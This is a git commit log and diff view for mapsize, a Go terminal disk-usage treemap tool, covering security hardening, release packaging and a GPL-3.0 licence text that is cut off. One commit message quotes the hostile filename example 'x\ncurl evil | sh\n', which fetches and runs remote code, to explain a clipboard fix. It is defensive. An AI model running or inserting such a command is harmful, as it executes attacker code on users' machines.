15 Commits
Author SHA1 Message Date
Andy Dixon 8d9344cfef mapsize 1.2.0: permanent delete and in-map reveal when headless
On a headless Linux or BSD system (no DISPLAY or WAYLAND_DISPLAY) nothing
empties the freedesktop trash, so trashing never freed space. There, d now
deletes permanently after an explicit confirmation, checking owner and type
against the scan and removing through an os.Root on the parent so a swapped
symlink cannot redirect it. o shows the folder in the map instead of
launching a file manager. Desktop sessions, macOS and Windows are unchanged.
2026-10-03 12:50:07 +01:00
Andy Dixon 352d4292df mapsize 1.1.0: nested treemap reaches deep folders
The map stopped nesting after a fixed 3 levels, so at / a chain like
mnt/raid/media used the whole budget on full-size wrappers and showed
empty boxes with only titles. Single-child directory chains now collapse
into one label, nesting depth is bounded by block size instead of a fixed
cap, and nested blocks show size and percentage of their parent.
2026-10-03 10:18:57 +01:00
Andy Dixon 9184c8e76b Publish packages to the apt, dnf and pacman repository at repo.dixon.cx
packaging/repo.sh builds signed .deb, .rpm and Arch packages from a
release tag with nfpm and publishes them to repo.dixon.cx, rebuilding the
indexes over every project's packages there. It is vault's script with a
mapsize project block. Release step 6 runs it; the README points users at
dixon.cx/repo.
2026-10-03 09:45:02 +01:00
Andy DixonandClaude Opus 5.5 92da028d0f AI codebase review
docs: security audit and functionality/next-steps reports

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:05:28 +01:00
Andy DixonandClaude Opus 5.5 c150ad844a Rewrite release instructions as an ordered checklist
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:03:55 +01:00
Andy DixonandClaude Opus 5.5 b009ac3cbf AI codebase review
fix: cap snapshot node count relative to file size

The 64x decompressed-body limit still let an 804 KB crafted snapshot
(repeating blocks of records) expand to 4.2 M nodes and ~500 MB of
heap, ~600x amplification; larger files exhaust memory. LoadFile now
allows at most one node per byte of file (1 Mi floor); real snapshots
use ~15 bytes per node. Limit errors on the node count are no longer
misreported as "no root node".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 11:01:30 +01:00
Andy DixonandClaude Opus 5.5 3264def658 AI codebase review
fix: sanitise snapshot follow mode; least-privilege CI token

The scan-info view printed the snapshot's "follow" metadata string
unsanitised (the canvas filter was the only defence). The CI workflow
ran with the repository's default GITHUB_TOKEN permissions; it only
needs to read the code.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:59:54 +01:00
Andy DixonandClaude Opus 5.5 5966fdd91e AI codebase review
fix: duplicate search no longer hangs on files swapped for FIFOs

Candidates were reopened by path with os.Open after the scan. A file
replaced by a FIFO (or a symlink to one) blocked open(2) forever, and
context cancellation could not interrupt it, wedging the duplicate view
and --duplicates. Content is now opened with O_NOFOLLOW|O_NONBLOCK on
Unix; the existing regular-file check then skips it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:59:28 +01:00
Andy DixonandClaude Opus 5.5 1f9429ea74 AI codebase review
fix: refuse to copy paths containing control or bidi characters

The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:58:56 +01:00
Andy DixonandClaude Opus 5.5 3ec5bd7e65 AI codebase review
fix: pin parent directory and verify owner/type before trashing

Trash renamed the item by path after the confirmation dialog, so a
parent directory swapped for a symlink since the scan (e.g. by another
user, while an administrator cleans their home) redirected the move to
an unrelated file. The parent is now opened once and the item is checked
(owner and file type as scanned) and renamed relative to that fd.
macOS volume trash directories now get the same ownership/symlink checks
as freedesktop.org ones on Linux.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:58:38 +01:00
Andy DixonandClaude Opus 5.5 ab3ff7b842 Homebrew formula: pass brew audit --strict
Order license after sha256, point homepage at the repo, drop the -s -w
that std_go_args already adds, and strip the template header from the
generated formula.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-02 10:56:37 +01:00
Andy Dixon c40f71352d License under GPL-3.0-or-later
Add LICENSE, ship it in release archives, and declare the licence in
the nfpm packages and Homebrew formula.
2026-10-02 09:48:39 +01:00
Andy Dixon f7b1816908 Release 1.0.0
Declare the snapshot format (v1) stable, bump the version, ship the man
page in release archives and deb/rpm/apk/Arch packages, add a Homebrew
formula template with make brew-formula, and update the changelog,
roadmap, README and development notes.
2026-10-02 09:46:13 +01:00
Andy Dixon bea1decbd3 Add mapsize(1) manual page and make install 2026-10-02 09:43:18 +01:00
Andy Dixon 212f7229f6 Release target: cross-platform archives and Linux packages
Stamp brand.Version via ldflags; build tar.gz/zip for linux, darwin,
windows and the BSDs plus .deb/.rpm/.apk/Arch packages via nfpm.
2026-10-02 08:56:04 +01:00
36 changed files with 3067 additions and 94 deletions
+2
View File
@@ -2,6 +2,8 @@ name: ci
on: on:
push: push:
pull_request: pull_request:
permissions:
contents: read
jobs: jobs:
test: test:
strategy: strategy:
+4 -1
View File
@@ -296,9 +296,12 @@ Filenames and snapshot contents are untrusted.
* Snapshot decoding validates magic, version, every length, every parent * Snapshot decoding validates magic, version, every length, every parent
reference (a parent must precede its child, so cycles are impossible), reference (a parent must precede its child, so cycles are impossible),
depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes depth (≤ 4096 levels, bounding recursion in exporters), per-node sizes
(≤ 1 EiB) and node count; caps the decompressed body at 64× the file size (≤ 1 EiB) and node count (at most one node per byte of snapshot file, 1 Mi floor); caps the decompressed body at 64× the file size
(decompression bombs fail fast); and verifies a SHA-256 trailer. (decompression bombs fail fast); and verifies a SHA-256 trailer.
Aggregates are recomputed with saturating arithmetic rather than trusted. Aggregates are recomputed with saturating arithmetic rather than trusted.
* No shell is ever invoked. "Open/reveal" and trash use direct `exec` with * No shell is ever invoked. "Open/reveal" and trash use direct `exec` with
argument vectors or native APIs; paths are passed as single arguments. argument vectors or native APIs; paths are passed as single arguments.
* Permanent delete (headless only) checks the item's owner and type against
the scan and removes it through an `os.Root` on the parent directory, so
a symlink swapped in since the scan cannot redirect it.
* `--read-only` disables every mutating action in the UI. * `--read-only` disables every mutating action in the UI.
+45 -1
View File
@@ -1,11 +1,36 @@
# Changelog # Changelog
## Unreleased ## 1.2.0 — 2026-10-03
### Changed
- On a headless Linux or BSD system (no `DISPLAY` or `WAYLAND_DISPLAY`), `d`
deletes permanently after an "are you sure" confirmation instead of moving
to a trash nobody empties, and `o` shows the folder in the map instead of
trying to open a file manager. Desktop sessions, macOS and Windows still
use the trash and the file manager.
## 1.1.0 — 2026-10-03
### Fixed
- Map: folders that contain a single subfolder (`mnt/raid/media/`) now
collapse into one label instead of each taking a nesting level, so the
map at `/` reaches the shows, seasons and individual files. Nesting goes as
deep as the block sizes allow (previously a fixed 3 levels), and nested
blocks show their size and percentage of their parent folder.
## 1.0.0 — 2026-10-02
First stable release. The snapshot format (version 1) is now stable: later
1.x releases will keep reading version 1 snapshots.
### Engine
- Bounded concurrent scanner with incremental aggregation, cancellation, - Bounded concurrent scanner with incremental aggregation, cancellation,
hard-link and symlink-loop handling, error accounting. hard-link and symlink-loop handling, error accounting.
- Non-interactive reports: `--top`, `--largest-files`, `--json`, `--csv`, - Non-interactive reports: `--top`, `--largest-files`, `--json`, `--csv`,
`--duplicates`, `--no-ui`. `--duplicates`, `--no-ui`.
- Versioned, checksummed snapshot format; `--compare`. - Versioned, checksummed snapshot format; `--compare`.
### Interface
- Interactive TUI (Bubble Tea v2): live squarified treemap with nested - Interactive TUI (Bubble Tea v2): live squarified treemap with nested
previews and level-of-detail grouping, spatial arrow navigation, zoom, previews and level-of-detail grouping, spatial arrow navigation, zoom,
breadcrumbs, responsive layouts, info/help/confirm/save modals, mouse. breadcrumbs, responsive layouts, info/help/confirm/save modals, mouse.
@@ -16,3 +41,22 @@
perceptual 256-colour quantizer, NO_COLOR support. perceptual 256-colour quantizer, NO_COLOR support.
- Move to trash (freedesktop / macOS / Windows), `--read-only`. - Move to trash (freedesktop / macOS / Windows), `--read-only`.
- `treegen` synthetic tree generator; benchmarks in PERFORMANCE.md. - `treegen` synthetic tree generator; benchmarks in PERFORMANCE.md.
### Packaging and documentation
- `mapsize(1)` manual page; `make install` installs binary and man page.
- `make release`: archives for Linux, macOS, Windows and the BSDs, plus
.deb, .rpm, .apk and Arch packages (with the man page) and SHA256SUMS.
- Version stamped into release builds.
- Homebrew formula template and `make brew-formula`.
### Hardening
- Snapshot loader rejects over-deep trees, decompression bombs and
out-of-range sizes; aggregates saturate instead of overflowing.
- Exclusion patterns from snapshot metadata are sanitised in reports.
- Duplicate, trash and filter results belonging to a replaced tree (after
a rescan) are discarded.
- Linux trash refuses symlinked or foreign trash directories on shared
filesystems and never overwrites an earlier trashed item.
- Symlinks are not followed on platforms without inode identity; the
unscanned-directory count and post-cancel errors are reported correctly.
- Path filters evaluate incrementally (2× faster on 1M entries).
+49 -1
View File
@@ -9,9 +9,57 @@ make race # go test -race ./...
make vet fmt-check make vet fmt-check
make benchmark # go test -bench make benchmark # go test -bench
make fuzz # short fuzz runs of snapshot / treemap / filter make fuzz # short fuzz runs of snapshot / treemap / filter
make release # cross-compiled binaries in bin/release make release # release archives and packages in bin/release
``` ```
## Releasing
Example for 1.2.0; substitute the real version throughout.
1. Update the version in `internal/brand/brand.go` and `docs/mapsize.1`,
and add a `## 1.2.0` section to CHANGELOG.md. Commit.
2. Tag and push:
```sh
git tag -a v1.2.0 -m "mapsize 1.2.0"
git push origin master v1.2.0
```
3. Build everything (archives, .deb/.rpm/.apk/Arch packages, SHA256SUMS
into `bin/release`; the first run downloads `nfpm`):
```sh
make release VERSION=v1.2.0
```
4. Publish the GitHub release with the changelog section as notes:
```sh
awk '/^## 1.2.0/{f=1;next} /^## /{f=0} f' CHANGELOG.md > /tmp/notes.md
gh release create v1.2.0 --title v1.2.0 --notes-file /tmp/notes.md bin/release/*
```
5. Update Homebrew. This needs the tag pushed (step 2), because it
checksums GitHub's source tarball for that tag:
```sh
make brew-formula VERSION=v1.2.0 # writes bin/homebrew/mapsize.rb
git clone https://github.com/andydixon/homebrew-tap /tmp/tap
cp bin/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb
git -C /tmp/tap commit -am "mapsize 1.2.0" && git -C /tmp/tap push
```
Users get it with `brew upgrade mapsize`. Template:
`packaging/homebrew/mapsize.rb.in`.
6. Publish to the apt, dnf and pacman repository at repo.dixon.cx. This
builds signed .deb, .rpm and Arch packages from the tag and rebuilds the
repository indexes (needs docker, gpg, apt-ftparchive and the signing key
in `~/.config/repo.dixon.cx/gnupg`):
```sh
packaging/repo.sh v1.2.0
```
The same script, with its own project block, publishes vault.
Always pass `VERSION=`: otherwise it comes from `git describe`, which only
matches the tag when HEAD is exactly the tagged commit. `make release` and
the Homebrew formula stamp the version into the binary; `make build` and
`go install` use the value in `brand.go`, which is why step 1 updates it.
The snapshot format is stable at version 1: a format change must bump
`snapshot.Version` and keep the reader for version 1.
## Test data ## Test data
`treegen` creates synthetic trees: `treegen` creates synthetic trees:
+675
View File
@@ -0,0 +1,675 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
